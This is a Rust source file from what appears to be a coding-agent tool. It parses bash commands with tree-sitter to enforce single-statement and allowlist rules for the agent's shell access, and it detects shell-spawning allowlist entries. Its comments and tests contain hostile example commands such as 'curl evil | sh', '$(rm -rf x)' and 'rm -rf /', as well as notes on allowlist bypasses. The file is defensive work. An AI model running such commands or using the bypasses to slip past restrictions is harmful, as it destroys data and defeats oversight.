Skip to main content

winx_code_agent/utils/
bash_parser.rs

1use tree_sitter::{Node, Parser};
2
3use crate::errors::{Result, WinxError};
4
5/// Validate that `command` is a single top-level bash statement.
6///
7/// `allow_shell_probe` controls the tree-sitter-error fallback: when the
8/// embedded grammar flags an error, we *can* ask the real `bash -n -c` whether
9/// the syntax is actually valid (the grammar lags real bash). That spawns a
10/// shell on the request path, so it's gated to trusted (`wcgw`) mode only — in
11/// restricted modes (`code_writer`/`architect`) we must not spawn `bash` to
12/// vet a command, so tree-sitter's verdict is final there.
13pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
14    let trimmed = command.trim();
15    if trimmed.is_empty() {
16        return Ok(());
17    }
18    if trimmed.contains('\0') {
19        return Err(WinxError::CommandExecutionError(
20            "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
21        ));
22    }
23
24    let mut parser = Parser::new();
25    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
26    parser.set_language(&language).map_err(|error| {
27        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
28    })?;
29
30    let tree = parser.parse(trimmed, None).ok_or_else(|| {
31        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
32    })?;
33    let root = tree.root_node();
34
35    if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
36        return Err(WinxError::CommandExecutionError(
37            "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
38        ));
39    }
40
41    let statement_count = top_level_statement_count(trimmed, root);
42
43    if statement_count > 1 && !trimmed.contains('\n') {
44        return Err(WinxError::CommandExecutionError(
45            "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
46        ));
47    }
48
49    Ok(())
50}
51
52/// When tree-sitter flags a syntax error we *may* defer to the real `bash -n`
53/// (the embedded grammar lags real bash). That probe spawns a shell, so it only
54/// runs in trusted (wcgw) mode — `allow_shell_probe` gates it. In restricted
55/// modes (`code_writer`/`architect`) the grammar's verdict is final and we never
56/// shell out to vet a command.
57fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
58    allow_shell_probe && bash_accepts_syntax(command)
59}
60
61fn bash_accepts_syntax(command: &str) -> bool {
62    std::process::Command::new("bash")
63        .arg("-n")
64        .arg("-c")
65        .arg(command)
66        .status()
67        .is_ok_and(|status| status.success())
68}
69
70#[derive(Debug, Clone)]
71struct StatementNode {
72    kind: String,
73    start_byte: usize,
74    end_byte: usize,
75}
76
77fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
78    let mut statements = Vec::new();
79    collect_statement_nodes(root, &mut statements);
80
81    statements
82        .iter()
83        .filter(|stmt| stmt.kind != "comment")
84        .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
85        .count()
86}
87
88fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
89    if is_statement_node(node.kind()) {
90        statements.push(StatementNode {
91            kind: node.kind().to_string(),
92            start_byte: node.start_byte(),
93            end_byte: node.end_byte(),
94        });
95    }
96
97    for index in 0..node.named_child_count() as u32 {
98        if let Some(child) = node.named_child(index) {
99            collect_statement_nodes(child, statements);
100        }
101    }
102}
103
104fn is_statement_node(kind: &str) -> bool {
105    matches!(
106        kind,
107        "command"
108            | "variable_assignment"
109            | "declaration_command"
110            | "unset_command"
111            | "comment"
112            | "for_statement"
113            | "c_style_for_statement"
114            | "while_statement"
115            | "if_statement"
116            | "case_statement"
117            | "function_definition"
118            | "pipeline"
119            | "list"
120            | "compound_statement"
121            | "subshell"
122            | "redirected_statement"
123    )
124}
125
126fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
127    if stmt.start_byte == other.start_byte
128        && stmt.end_byte == other.end_byte
129        && stmt.kind == other.kind
130    {
131        return false;
132    }
133
134    let other_text = &source[other.start_byte..other.end_byte];
135    if other.kind == "list" && other_text.contains(';') {
136        return false;
137    }
138
139    other.start_byte <= stmt.start_byte
140        && other.end_byte >= stmt.end_byte
141        && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
142        && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
143}
144
145/// Collect the full text of every `command` node in the script.
146///
147/// Descends through pipelines, lists, subshells, command/process substitution,
148/// loops and conditionals, so an allowlist can be enforced against EVERY command
149/// a line would run — not just `command_line.split_whitespace().next()`, which
150/// `ls && curl|sh`, `ls $(rm -rf x)` and `a; rm -rf /` trivially bypass.
151///
152/// Returns `Err` when the command can't be parsed cleanly; restricted-mode
153/// callers treat that as "not allowed" (fail closed). Code hidden inside a
154/// quoted string (e.g. `bash -c '...'`) is opaque to the parser, so an allowlist
155/// that permits `bash`/`sh`/`eval` stays effectively unrestricted by design.
156pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
157    let trimmed = command.trim();
158    if trimmed.is_empty() {
159        return Ok(Vec::new());
160    }
161    if trimmed.contains('\0') {
162        return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
163    }
164
165    let mut parser = Parser::new();
166    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
167    parser.set_language(&language).map_err(|error| {
168        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
169    })?;
170
171    let tree = parser.parse(trimmed, None).ok_or_else(|| {
172        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
173    })?;
174    let root = tree.root_node();
175    if root.has_error() {
176        return Err(WinxError::CommandExecutionError(
177            "Command could not be parsed for allowlist enforcement.".to_string(),
178        ));
179    }
180
181    let mut texts = Vec::new();
182    collect_command_texts(root, trimmed.as_bytes(), &mut texts);
183    Ok(texts)
184}
185
186fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
187    if node.kind() == "command" {
188        if let Ok(text) = node.utf8_text(src) {
189            out.push(text.to_string());
190        }
191    }
192    let mut cursor = node.walk();
193    for child in node.children(&mut cursor) {
194        collect_command_texts(child, src, out);
195    }
196}
197
198/// Commands that can execute arbitrary code passed as a string argument.
199///
200/// If a `code_writer` allowlist permits any of these, the allowlist is
201/// effectively unrestricted: the tree-sitter parser sees `bash -c '...'`,
202/// `eval "..."`, `find -exec ...` or `xargs sh` as a single allowed command and
203/// can't inspect the code hidden inside. This list backs an advisory warning,
204/// not enforcement — enforcement stays fail-closed regardless.
205pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
206    "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
207    "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
208    "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
209];
210
211/// Return the deduplicated allowlist entries that make a `code_writer` allowlist
212/// bypassable (see [`SHELL_SPAWNING_COMMANDS`]).
213///
214/// The allowlist matches on command *name*, so we compare the basename of each
215/// entry's first whitespace-delimited token: `find`, `/usr/bin/find` and
216/// `find -exec rm {} +` all resolve to `find`.
217pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
218    let mut hits: Vec<String> = allowed
219        .iter()
220        .filter_map(|entry| {
221            let first = entry.split_whitespace().next()?;
222            let base = std::path::Path::new(first).file_name()?.to_str()?;
223            SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
224        })
225        .collect();
226    hits.sort();
227    hits.dedup();
228    hits
229}
230
231#[cfg(test)]
232mod tests {
233    use super::assert_single_statement;
234    use super::detect_allowlist_bypass;
235    use super::extract_command_texts;
236
237    #[test]
238    fn extracts_nested_commands_for_allowlist() {
239        // Pipelines, && and command substitution must all surface.
240        let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
241        assert!(names.iter().any(|c| c.starts_with("ls")));
242        assert!(names.iter().any(|c| c.starts_with("curl")));
243        assert!(names.iter().any(|c| c.starts_with("sh")));
244
245        let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
246        assert!(subst.iter().any(|c| c.starts_with("rm")));
247    }
248
249    #[test]
250    fn accepts_shell_chains_as_single_statement() {
251        assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
252    }
253
254    #[test]
255    fn accepts_heredocs_as_single_statement() {
256        let command = "cat <<'EOF'\nhello\nEOF";
257        assert!(assert_single_statement(command, true).is_ok());
258    }
259
260    #[test]
261    fn accepts_for_loop_as_single_compound_statement() {
262        assert!(
263            assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
264        );
265    }
266
267    #[test]
268    fn rejects_semicolon_separated_top_level_statements() {
269        assert!(assert_single_statement("pwd; ls", true).is_err());
270    }
271
272    #[test]
273    fn accepts_multiline_scripts() {
274        assert!(assert_single_statement("pwd\nls", true).is_ok());
275    }
276
277    #[test]
278    fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
279        let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
280        assert!(assert_single_statement(command, true).is_ok());
281    }
282
283    #[test]
284    fn shell_probe_is_gated_to_trusted_mode() {
285        use super::rescued_by_shell_probe;
286        // The probe (`bash -n`) only runs in trusted (wcgw) mode. Tested on the
287        // pure decision so it doesn't depend on finding a command the embedded
288        // grammar happens to reject — which is the whole point of the gate.
289        //
290        // Probe ON: a command real bash accepts is rescued past a tree-sitter error.
291        assert!(rescued_by_shell_probe("echo hi", true));
292        // Probe OFF (restricted modes): NOT rescued, even though bash would accept
293        // it — and crucially we never spawn a shell to find out.
294        assert!(!rescued_by_shell_probe("echo hi", false));
295        // Probe ON but genuinely broken syntax: bash rejects too, so no rescue.
296        assert!(!rescued_by_shell_probe("echo )(", true));
297    }
298
299    #[test]
300    fn detect_allowlist_bypass_flags_shell_spawners() {
301        let allowed = vec![
302            "ls".to_string(),
303            "bash".to_string(),
304            "cat -n".to_string(),
305            "find . -exec rm {} +".to_string(),
306        ];
307        assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
308    }
309
310    #[test]
311    fn detect_allowlist_bypass_clean_list_is_empty() {
312        let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
313        assert!(detect_allowlist_bypass(&allowed).is_empty());
314    }
315
316    #[test]
317    fn detect_allowlist_bypass_matches_basename_of_path() {
318        let allowed = vec!["/usr/bin/env python".to_string()];
319        assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
320    }
321
322    #[test]
323    fn rejects_nul_with_actionable_message() {
324        let error = match assert_single_statement("printf '\0'", true) {
325            Ok(()) => String::new(),
326            Err(error) => error.to_string(),
327        };
328        assert!(error.contains("NUL byte"));
329        assert!(error.contains("\\\\x00"));
330    }
331}